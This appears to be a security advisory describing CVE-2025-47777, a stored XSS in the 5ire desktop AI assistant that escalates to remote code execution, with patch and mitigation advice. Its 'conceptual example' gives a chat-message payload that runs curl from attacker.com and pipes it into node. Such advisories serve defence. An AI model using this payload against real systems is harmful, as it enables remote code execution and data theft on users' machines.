Overview
The Common Vulnerabilities and Exposures (CVE) system has identified a critical issue, dubbed CVE-2025-47777, within the 5ire, a desktop artificial intelligence assistant. This vulnerability is a serious concern for all users of 5ire client versions prior to the patched 0.11.1 release, especially those interacting with untrusted chatbots or pasting external content into the platform.
Due to insufficient sanitization, the 5ire AI assistant is susceptible to stored cross-site scripting (XSS) in chatbot responses, which can escalate to Remote Code Execution (RCE). This vulnerability is not just a threat to system integrity, but also a risk to user privacy and data security.

How the Exploit Works
The exploit takes advantage of insufficiently sanitized chatbot responses in the 5ire AI assistant. When the user interacts with an untrusted chatbot or pastes external content, the attacker can inject malicious scripts. These scripts are then stored and executed within the client’s environment when the tainted chatbot response is rendered.
The dangerous part of this vulnerability is its potential to escalate from stored XSS to Remote Code Execution (RCE) due to unsafe Electron protocol handling and exposed Electron APIs.
Conceptual Example Code
Consider this pseudocode example which illustrates a possible exploit:
POST /chatbot/message HTTP/1.1
Host: target.example.com
Content-Type: application/json
{
"message": "<script>require('child_process').exec('curl http://attacker.com/steal-data.js | node')</script>"
}In this example, a malicious script is sent as a chat message. If the server does not sanitize this input correctly, the script is stored and later executed in the client’s environment, leading to potential system compromise or data leakage.
Mitigation Guidance
Users are advised to immediately update their 5ire AI assistant to the patched version 0.11.1, which resolves this vulnerability. As a temporary mitigation, users could implement a Web Application Firewall (WAF) or Intrusion Detection System (IDS) to detect and prevent potential exploitation attempts of this vulnerability.
